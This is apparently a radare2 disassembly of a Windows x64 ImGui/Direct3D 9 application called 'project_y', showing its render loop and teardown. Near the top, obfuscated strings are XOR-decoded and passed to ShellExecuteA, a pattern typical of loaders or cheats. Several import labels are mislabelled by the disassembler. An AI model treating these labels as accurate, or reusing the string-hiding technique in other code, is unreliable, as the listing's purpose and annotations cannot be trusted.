movd dword [rbp + 0x290], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14012b890]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14012b8e0]
movd xmm1, dword [rbp + 0x294]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp + 0x294], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x290]
add r9, rax
nop
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140046f50
cmp qword [rbp + 0x338], 0x10
lea r9, [rbp + 0x320]
mov eax, dword [str._AW_4]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x14012b210]
jb 0x140046faa
mov r9, qword [rbp + 0x320]
xor byte [rsp + 0x61], 0x31
lea r8, [rbp + 0x290]
xor byte [rsp + 0x62], 0x32
lea rdx, [rsp + 0x60]
xor byte [rsp + 0x63], 0x33
xor al, 0x34
mov r15d, 1
mov byte [rsp + 0x60], reloc.WS2_32.dll_WSAGetLastError
mov dword [rsp + 0x28], r15d
xor ecx, ecx
mov qword [rsp + 0x20], rdi
mov byte [rsp + 0x64], al
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [r15 + 0x1f]
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x140147078], rax
mov rcx, rax
test rax, rax
je 0x140047893
mov r14, qword [rbp - 0x68]
lea rdx, [0x140147080]
mov qword [rsp + 0x30], rdx
lea r12, [0x140147090]
mov qword [0x140147090], rdi
mov r9, r14
mov qword [0x14014709c], rdi
mov r8d, r15d
mov dword [0x1401470a4], edi
xor edx, edx
mov qword [0x1401470ac], rdi
mov dword [0x1401470b4], edi
mov qword [0x1401470c4], rdi
mov dword [0x1401470b8], r15d
mov dword [0x1401470a8], r15d
mov dword [0x140147098], edi
mov dword [0x1401470bc], r15d
mov dword [0x1401470c0], 0x50
mov dword [0x1401470cc], r15d
mov rax, qword [rax]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x14004788c
lea edx, [r15 + 9]
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r14
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x140146fc0]
mov ecx, 0x61c8
call fcn.1400d6910
mov r8, qword [0x140146fc0]
mov r9, rax
test r8, r8
je 0x14004712b
movsx rdx, word [r8 + 0x6078]
lea rcx, [r8 + 0x607c]
mov r10d, dword [r8 + 0x3f60]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r10d
je 0x140047120
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [r8 + 0x607c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r10d
mov dword [rcx + 4], edi
inc word [rcx + 4]
inc dword [r8 + 0x6070]
test r9, r9
je 0x14004713c
xor edx, edx
mov rcx, r9
call fcn.140003fc0
jmp 0x14004713f
mov rax, rdi
mov qword [0x140146fc0], rax
call fcn.140008940
mov rax, qword [0x140146fc0]
test rbx, rbx
cmovne rax, rbx
mov qword [0x140146fc0], rax
test rax, rax
jne 0x140047185
mov r8d, 0x10ae
lea rdx, str.C:UsersuserDesktopcppproject_yimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call fcn.1400d6804
mov rax, qword [0x140146fc0]
or dword [rax + 8], 3
xor ecx, ecx
call fcn.14002a620
mov rcx, r14
call fcn.140035820
mov rbx, qword [0x140146fc0]
mov rsi, qword [0x140147080]
test rbx, rbx
jne 0x1400471cb
mov r8d, 0x10ae
lea rdx, str.C:UsersuserDesktopcppproject_yimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call fcn.1400d6804
mov rbx, qword [0x140146fc0]
cmp qword [rbx + 0x98], rdi
je 0x1400471ed
mov r8d, 0x11f
lea rdx, str.C:UsersuserDesktopcppproject_yimgui_impl_dx9.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call fcn.1400d6804
mov ecx, Ordinal_41
call fcn.1400d6910
mov r9, qword [0x140146fc0]
mov r8, rax
test r9, r9
je 0x140047265
movsx rdx, word [r9 + 0x6078]
lea rcx, [r9 + 0x607c]
mov r10d, dword [r9 + 0x3f60]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r10d
je 0x14004725a
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r9 + 0x6078], cx
movsx rax, cx
lea rcx, [r9 + 0x607c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r10d
mov dword [rcx + 4], edi
inc word [rcx + 4]
inc dword [r9 + 0x6070]
test r8, r8
je 0x14004728b
mov qword [r8], rdi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], rdi
mov qword [r8 + 0x18], rdi
mov dword [r8 + 0x20], 0x1388
mov dword [r8 + 0x24], 0x2710
jmp 0x14004728e
mov r8, rdi
or dword [rbx + 0xc], 8
lea rax, str.imgui_impl_dx9
mov qword [rbx + 0x88], rax
mov rcx, rsi
mov qword [rbx + 0x98], r8
mov qword [r8], rsi
mov rax, qword [rsi]
call qword [rax + reloc.WS2_32.dll_htonl]
xor ecx, ecx
xor bl, bl
call fcn.1400d7d54
mov rcx, rax
call fcn.1400d6bf0
xorps xmm0, xmm0
lea rdx, [0x14011ec62]
xorps xmm1, xmm1
lea rcx, [rbp + 0x300]
xor r8d, r8d
movups xmmword [rbp + 0x300], xmm0
movdqu xmmword [rbp + 0x310], xmm1
call fcn.14004d900
movss xmm6, dword [0x14012b704]
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, [rbp + 0x2d0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14004736e
nop
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x2d8], 0x12
lea rcx, [rbp + 0x2d0]
movzx ebx, bl
cmove ebx, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140047320
test bl, bl
jne 0x14004756b
mov rax, qword [0x140146fc0]
test rax, rax
je 0x140047388
mov rsi, qword [rax + 0x98]
test rsi, rsi
jne 0x1400473ab
jmp 0x14004738b
mov rsi, rdi
mov r8d, 0x17c
lea rdx, str.C:UsersuserDesktopcppproject_yimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX9_Init____
call fcn.1400d6804
mov rax, qword [0x140146fc0]
cmp qword [rsi + 0x18], rdi
jne 0x1400473cc
test rax, rax
je 0x1400473cc
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x1400473cc
cmp qword [rcx], rdi
je 0x1400473cc
call fcn.1400354e0
call fcn.140036640
call fcn.14000b360
call fcn.140001600
call fcn.14000d300
mov rcx, qword [0x140147080]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x140147080]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x140147080]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x140147080]
mov r9d, 3
mov dword [rsp + 0x30], edi
xor r8d, r8d
movss dword [rsp + 0x28], xmm6
xor edx, edx
mov dword [rsp + 0x20], edi
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x140147080]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x1400474c0
call fcn.14000d7b0
mov rsi, qword [0x140146fc0]
cmp dword [rsi + 0x4ad8], edi
jg 0x140047490
mov r8d, 0x782
lea rdx, str.C:UsersuserDesktopcppproject_yimgui.h
lea rcx, str.i___0__i___Size
call fcn.1400d6804
mov rax, qword [rsi + 0x4ae0]
mov rcx, qword [rax]
mov rax, rdi
add rcx, 0x48
cmp byte [rcx], dil
cmovne rax, rcx
mov rcx, rax
call fcn.140034ee0
mov rcx, qword [0x140147080]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x140147080]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140047300
mov rcx, qword [0x140147080]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x140047300
call fcn.140035770
mov rcx, qword [0x140147080]
mov rdx, r12
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x140047538
mov r8d, 0x364
lea rdx, str.C:UsersuserDesktopcppproject_yproject_y.cpp
lea rcx, [0x14011e790]
call fcn.1400d6804
mov rax, qword [0x140146fc0]
test rax, rax
je 0x140047300
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x140047300
cmp qword [rcx], rdi
je 0x140047300
call fcn.1400354e0
jmp 0x140047300
mov rbx, qword [0x140146fc0]
test rbx, rbx
je 0x140047585
mov rsi, qword [rbx + 0x98]
test rsi, rsi
jne 0x1400475a8
jmp 0x140047588
mov rsi, rdi
mov r8d, 0x130
lea rdx, str.C:UsersuserDesktopcppproject_yimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call fcn.1400d6804
mov rbx, qword [0x140146fc0]
test rbx, rbx
jne 0x1400475cd
mov r8d, 0x10ae
lea rdx, str.C:UsersuserDesktopcppproject_yimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call fcn.1400d6804
mov rbx, qword [0x140146fc0]
call fcn.140035770
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400475e0
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
and dword [rbx + 0xc], 0xfffffff7
mov r8, qword [0x140146fc0]
mov qword [rbx + 0x88], rdi
mov qword [rbx + 0x98], rdi
test r8, r8
je 0x14004765d
movsx rdx, word [r8 + 0x6078]
lea rcx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f60]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x140047652
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [r8 + 0x607c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], edi
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rsi
call fcn.1400d073c
mov r8, qword [0x140146fc0]
test r8, r8
je 0x14004767f
mov rsi, qword [r8 + 0x90]
test rsi, rsi
jne 0x1400476a2
jmp 0x140047682
mov rsi, rdi
mov r8d, 0xca
lea rdx, str.C:UsersuserDesktopcppproject_yimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call fcn.1400d6804
mov r8, qword [0x140146fc0]
test r8, r8
jne 0x1400476c7
mov r8d, 0x10ae
lea rdx, str.C:UsersuserDesktopcppproject_yimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call fcn.1400d6804
mov r8, qword [0x140146fc0]
mov rcx, qword [rsi + 0x38]
lea rbx, [r8 + 8]
test rcx, rcx
je 0x1400476e1
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8, qword [0x140146fc0]
and dword [rbx + 4], 0xfffffff8
mov qword [rbx + 0x78], rdi
mov qword [rbx + 0x88], rdi
test r8, r8
je 0x140047754
movsx rdx, word [r8 + 0x6078]
mov r9d, dword [r8 + 0x3f60]
lea rcx, [rdx*8 + 0x607c]
add rcx, r8
cmp dword [rcx], r9d
je 0x140047749
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [rax*8 + 0x607c]
add rcx, r8
mov dword [rcx], r9d
mov dword [rcx + 4], edi
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rsi
call fcn.1400d073c
mov rbx, qword [0x140146fc0]
mov qword [0x140146fc0], rbx
call fcn.140008ef0
mov qword [0x140146fc0], rdi
test rbx, rbx
je 0x1400477f6
mov rcx, rbx
call fcn.1400220b0
mov r8, qword [0x140146fc0]
test r8, r8
je 0x1400477ee
movsx rdx, word [r8 + 0x6078]
lea rcx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f60]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x1400477e3
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [r8 + 0x607c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], edi
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rbx
call fcn.1400d073c
mov rcx, qword [0x140147080]
test rcx, rcx
je 0x14004780f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140147080], rdi
mov rcx, qword [0x140147078]
test rcx, rcx
je 0x140047828
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140147078], rdi
mov rcx, r14
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rdx, qword [rbp + 0x318]
cmp rdx, 0x10
jb 0x1400478df
mov rcx, qword [rbp + 0x300]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047885
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047b42
call fcn.1400b9ffc
jmp 0x1400478df
mov rcx, qword [0x140147078]
mov rdx, qword [0x140147080]
test rdx, rdx
je 0x1400478b6
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140147078]
mov qword [0x140147080], rdi
test rcx, rcx
je 0x1400478c8
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140147078], rdi
mov rdx, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov edi, r15d
mov rdx, qword [rbp + 0x338]
cmp rdx, 0x10
jb 0x140047920
mov rcx, qword [rbp + 0x320]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004791b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047b42
call fcn.1400b9ffc
mov rdx, qword [rbp + 0x2c8]
movdqa xmm0, xmmword [0x14012b820]
mov byte [rbp + 0x320], 0
movdqu xmmword [rbp + 0x330], xmm0
cmp rdx, 0x10
jb 0x140047978
mov rcx, qword [rbp + 0x2b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047973
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047b42
call fcn.1400b9ffc
mov rdx, qword [rbp + 0x358]
cmp rdx, 0x10
jb 0x1400479b9
mov rcx, qword [rbp + 0x340]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400479b4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047b42
call fcn.1400b9ffc
movdqa xmm0, xmmword [0x14012b820]
lea rcx, [rbp + 0x3e0]
movdqu xmmword [rbp + 0x350], xmm0
mov byte [rbp + 0x340], 0
call fcn.140045030
mov rdx, qword [rbp + 0x398]
cmp rdx, 0x10
jb 0x140047a1d
mov rcx, qword [rbp + 0x380]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047a18
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047b42
call fcn.1400b9ffc
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 0x10
jb 0x140047a5e
mov rcx, qword [rbp + 0x3a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047a59
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047b42
call fcn.1400b9ffc
mov rdx, qword [rbp + 0x378]
cmp rdx, 0x10
jb 0x140047a9f
mov rcx, qword [rbp + 0x360]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047a9a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047b42
call fcn.1400b9ffc
mov rdx, qword [rbp + 0x3d8]
movdqa xmm0, xmmword [0x14012b820]
mov byte [rbp + 0x360], 0
movdqu xmmword [rbp + 0x370], xmm0
cmp rdx, 0x10
jb 0x140047af3
mov rcx, qword [rbp + 0x3c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047aee
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047b42
call fcn.1400b9ffc
mov rsi, qword [rsp + 0x630]
mov eax, edi
movaps xmm8, xmmword [rsp + 0x5d0]
movaps xmm7, xmmword [rsp + 0x5e0]
movaps xmm6, xmmword [rsp + 0x5f0]
mov rcx, qword [rbp + 0x4c0]
xor rcx, rsp
call fcn.1400b9d40
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400d7794
int3
call fcn.1400d7794
int3
call fcn.1400d7794
int3
call fcn.1400d7794
int3
call fcn.1400d7794
int3
call fcn.1400d7794
int3
call fcn.140040250
int3
call fcn.140040250
int3